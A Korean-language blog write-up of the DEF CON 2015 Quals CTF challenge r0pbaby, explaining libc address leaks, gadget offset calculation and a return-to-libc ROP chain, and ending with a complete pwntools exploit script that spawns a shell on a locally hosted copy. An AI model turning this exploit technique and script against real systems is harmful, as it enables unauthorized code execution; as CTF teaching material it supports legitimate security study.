나도 해본다, ROP!(feat.Defcon2015 r0pbaby)

By choirish | February 20, 2017

나도 해본다, ROP! (feat. Defcon2015 r0pbaby)



지난번에 canary가 함유된 ROP 문제를 풀어보더니, 이번에는 ROP의 기본이라는 문제를 들고 찾아왔습니다 헿 오늘 풀어볼 문제는 바로 DEF CON 2015 Quals – r0pbaby !!

이전에 풀었던 DEF CON 2016 Quals – Feed me가 32-bit ELF 파일을 제공하고, system call을 이용해서 푸는 문제였다면……

r0pbaby는…!! 64-bit ELF 파일을 제공하고, 그리고 대!놓!고 system 함수를 사용하는 문제입니다 ㅎㅎ
이 문제는 과연 나에게 어떤 고통을 안겨줄까.. 둑흔둑흔 기대가 되네요 ㅋ




문제풀이 Key Point

분석하기에 앞서 문제를 풀기 위한 Key point를 정리해보았습니다.


KeyPoint


1. 64-bit ELF 파일이다.

  • system 함수의 인자를 담는 레지스터는 rdi이다.
  • 데이터를 저장하는 기본 단위가 8byte이다.


2. 실행 환경에 있는 libc.so.6를 가져다 쓴다.

  • 필자는 본인이 바이너리를 실행하는 환경에서 libc.so.6이 libc-2.23.so로 링크가 걸려있었으므로 libc-2.23.so를 기준으로 분석하였다.


3. 바이너리 실행 중 system 함수가 있는 곳의 주소를 친절히 알려준다.

  • libc 파일 안에서의, system 함수와 다른 가젯들간의 오프셋을 먼저 구해둔다.
  • 바이너리 실행 중의 system 함수 주소를 기준으로, 구해둔 오프셋을 이용하여 다른 가젯들이 있는 곳의 주소를 알아낸다.
  • 바이너리에 PIE가 걸려있으므로 실행할 때마다 메모리 주소가 마구 바뀌기 때문에!
  • 이처럼 특정 함수를 기준으로 오프셋을 계산해야 한다.


4. return 주소를 덮을 수 있게끔 대놓고 판을 깔아주었다!

  • 3번 메뉴를 통해 입력한 값을 SFP(ret 주소의 바로 앞에 놓인 Stack Frame Pointer!) 위치에 memcpy한다.
  • 8byte짜리 dummy를 채운 후 공격 가젯을 넣어주면 그것이 바로 ret 주소부터 적용된다!


일단 64-bit 바이너리라서 첨에 좀 긴장했는데! 8byte 주소 체계라는 것만 염두해두면 별 문제 없더라구요~ 헿

본격 바이너리 분석을 통해 차근차근 친절하게 설명 보태드릴게여 ㅎㅎ 기기!




[ point 1 ] 64-bit ELF 바이너리!!

peda에서 checksec으로, 바이너리에 걸린 보호기법을 알아보면!



바이너리를 직접 실행시켜보면?!

1번 메뉴를 선택하면 요로코롬 libc.so.6 이라며 메모리 주소로 보이는 것을 틱 던져줍니다.


$ ./r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 


Exit을 제외하고 총 3가지의 메뉴가 있습니다. 뭔가 딱 메뉴 이름만 봐도 “ROP하세요~ 준비물이 모두 마련되어있습니다~” 이런 느낌이 들어요 ㅎ

1번 메뉴부터 하나씩 살펴봅시다!




[ point 2 ] libc 주소를 알려준다?!!

1번 메뉴를 선택하면 요로코롬 libc.so.6 이라며 메모리 주소로 보이는 것을 틱 던져줍니다.


Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0


바이너리를 실행하면서 메모리에 로드된 libc.so.6의 시작 주소를 알려주는 듯 하네요….

하!지!만? 이게 정말 libc.so.6의 시작 주소가 맞을까요?? 확인해봅시다.
(결론은 libc의 시작 주소를 가리키는 포인터의 주소임!!! 뜌둔)

gdb에서 run!하고 실행시킨 후 Ctrl+C를 눌러서 인터럽트를 걸어줍니다.

먼저 저는 peda의 사기 기능인 find 명령어로 “0x00007FFFF7FF79B0″을 찾아봤습니다.



오호호 주소를 find하니까 요로코롬 참조하는 주소도 다 보여주네요!!
실제로 0x00007FFFF7FF79B0 주소에 어떤 값이 들어있는지 보면?



요로코롬 진짜 0x00007ffff780a000라는 주소가 들어있습니다 ㅎㅎ 딱 봐도 포인터! 그렇다면 이번엔 진짜 libc의 시작 주소가 어딘지 알 수 있는 info proc map 명령을 쳐보겠습니다! 쁍!



오홍홍 진짜 0x00007fff780a000이 실제 libc의 시작 주소였습니다 신기신기!!

흠…. 근데 1번 메뉴에서 알려주는 게 libc 시작 주소의 포인터 주소라면… 그 주소를 기준으로 오프셋을 더해서 가젯 주소를 구하면…..안 될 거 같은데…! 흠흠흠 그 주소를 그대로 갖다 써서 오프셋 계산하는 롸업도… 있더라구요 흠흠 뭐지 신기… 궁금… ㅎㅎ;

무튼 저는 1번 메뉴에서 알려주는 주소를 갖다 쓰기 뭔가 찝찝하여..! 2번 메뉴를 통해 알아낸 system 주소를 이용하기로 했습니다 기기!




[ point 3 ] system 함수의 주소를 이용하자!!

2번 메뉴를 선택하면 요로코롬 특정 symbol의 주소를 알려줍니다 쁍!


Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF784F380


알려준 주소를 확인해봤더니…



여기는 제대로 system 함수의 주소를 잘 출력해주고 있네요! 훗

point 4 부분에서 자세히 설명하겠지만, 미리 간단히 스포하자면 저는 Return-to-libc 공격을 이용해서 쉘을 딸 예정입니다. 즉, system 함수와 그 인자값을 ret 주소에 적절히 배치하여 공격하겠다는 것이죠!




libc 파일을 분석하기 전에 소소TIP!! 전달합니다 쁍!


★ SOSOTIP ★

1. 분석하기 쉽도록 libc.so.6을 자신의 디렉터리로 복사해둔다.

  • (대회 당시 환경이 아니라, 자신의 컴퓨터에서 문제를 풀어볼 때를 가정!)
  • $ find / -name libc.so.6 2>/dev/null – find 명령어로 libc.so.6을 찾아본 결과 내 컴터에는 /lib/x86_64-linux-gnu/libc.so.6 요기에!
  • 앞에서 말했듯이 제 컴터에서 libc.so.6은 libc-2.23.so에 링크되어 있으므로 그것을 분석하였음!


2. peda를 설치하자.

  • ROP 할 때 특히 유용함! 가젯을 찾는다든지(ropsearch)… /bin/sh 문자열을 찾는다든지(find)…!
  • 필요한 기능들이 모두 모여있으니 peda 하나로 간편히 쓰자!
  • peda installation link


3. NASM을 설치하자.


4. 그런데에에에에에에에에에ㅔ에에에에ㅇ에에에엑 ㅠㅠ

  • libc.2.23.so는 gdb에서 실행이 안되더라… 악! 그래서 ropsearch 기능을 못씀 망함 ㅂㄷㅂㄷ..
  • r0pbaby 바이너리는 실행이 되니까.. ropsearch가 가능하긴 하지만… 우리는 이번에 libc 내부의 요소를 가져다 써야 offset 계산이 가능하므로…………………….
  • 결!론!은 이번에도 결국 rp++ 툴을 사용해서 “pop rdi ; ret” 가젯을 구했다….. ㅋ




모든 준비를 마쳤다면 이제 본격 libc-2.23.so를 gdb로 열어서 필요한 가젯(pop!)을 찾아봅시다! 쁍!
(구하는 offset의 크기는 모두 system 함수를 기준으로 한 offset입니다.)


pop rdi ; ret : system의 인자(rdi)를 세팅하기 위해 필요한 가젯!

  • libc_base(libc 시작부분)로부터 system 함수의 offset : 0x45380
  • gdb-peda$ x system



libc_base로부터 “pop rdi ; ret” 가젯의 offset : 0x21101

  • libc_base(libc 시작부분)로부터 system 함수의 offset : 0x45380
  • $ rp-lin-x86 -f libc-2.23.so -r 4 | grep “pop rdi ; ret”


  • ∴ pop_rdi_offset = 0x45380 – 0x21101 = 0x2427e


두 번째 가젯은 “/bin/sh”인데….. 으아 도대체 왜인지 libc-2.23.so 바이너리를 헥스에디터로 보면 /bin/s … 만 들어있어요! h가 빠져있다능..

그래서! r0pbaby를 gdb로 열고 메모리에 올려진, system 함수 주소와 /bin/sh 문자열 간의 offset을 구했습니다.


/bin/sh : system의 인자가 될 녀석!

  • $ x system
  • $ find “/bin/sh”


  • ∴ binsh_offset = 0x7ffff799658b – 0x7ffff784f380 = 0x14720b


으어으어 끝!
이렇게 system 주소로부터의 가젯 offset을 구한 이유는!!

바이너리에 PIE가 걸려있어서 맨날 메모리 주소가 바뀌더라도, 2번 메뉴로 얻은 system 주소를 이용해 메모리에 로드된 가젯의 주소를!! 구하기 위함이져 ㅎㅎ

정리하면!? 요로코롬 가젯 주소를 얻겠다는 것입니다 쁍!


binsh_addr = system_addr + 0x14720b
pop_rdi_addr = system_addr – 0x2427e




[ point 4 ] return 주소를 덮자!!!

3번 메뉴를 선택하면?


Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
blahblah


요로코롬 입력할 바이트 수를 적고, 그에 대한 입력값(blahblah)을 넣어주면 됩니닷

이제 드디어 ida로 바이너리를 열어봅니다…. 다행히 함수는 몇 개 없어여 ㅎㅎ 알짜는 main에 모두 있으니! main 함수만 살펴볼게요 ㅎㅎ



1. 3번 메뉴에 입력할 문자열의 크기를 입력하고 난 후 한 번 더 입력(문자열)을 받는다.

  • 이 때 입력 받은 stdin을 v9에 저장하고, v9을 nptr에 담는다.

2. nptr에 든 값(입력한 문자열)을 savedregs에 옮겨 담는다.

  • 상단의 변수 목록을 살펴보면 savedregs의 위치는 바로 sfp!!!


즉, sfp를 8byte dummy값으로 채워주고 나면 return 주소를 곧바로 조작할 수 있다!!!

예에!!!!!!!! 그러니 재빠르게 가젯(32byte)을 짜보면??!


dummyA(8byte) + pop_rdi_addr(8byte) + binsh_addr(8byte) + sys_addr(8byte)


어예 다했어요 그럼 익스로 기기!




[ 본격 익스 ] R!O!P! Get Shell!!!

앞에서 오프셋 다 구하고 가젯 구성해뒀으니 재빠르게 익스 기기!!


notbaby.py

#!/usr/bin/python

from pwn import *
from struct import pack

def pack(addr):
    return struct.pack('<Q', addr)

s = remote('0.0.0.0',9999)

# get system address
s.recvuntil("\n: ")
s.send("2\n")
s.recvuntil(": ")
s.send("system\n")
recv_2 = s.recvuntil("\n: ")

start = recv_2.find('0')
end = recv_2.find('\n')
# gadgets
sys_addr = long(recv_2[start: end],16)
pop_rdi_addr = sys_addr - 0x2427e
binsh_addr = sys_addr + 0x14720b

log.info("rdi : "+hex(pop_rdi_addr)+", binsh : "+hex(binsh_addr))

# let's rop
s.send("3\n")
print s.recvuntil(": ")

log.info("send payload! ATTACK!!!")
s.send("32\n")

payload = "A"*8
payload += pack(pop_rdi_addr)
payload += pack(binsh_addr)
payload += pack(sys_addr)
payload += "\n"

s.send(payload)
s.interactive()




+) 익스에 사용된 함수와 관련된 자료




socat으로 셀프 소켓 열어놓고~ (소켓 연 위치에 flag 파일도 생성해두긔)

socat tcp-listen:9999,reuseaddr,fork exec:./r0pbaby


짜놓은 익스로 뙇 공격하면!!!



끝! 수고하셨슴돠 >. <

comments powered by Disqus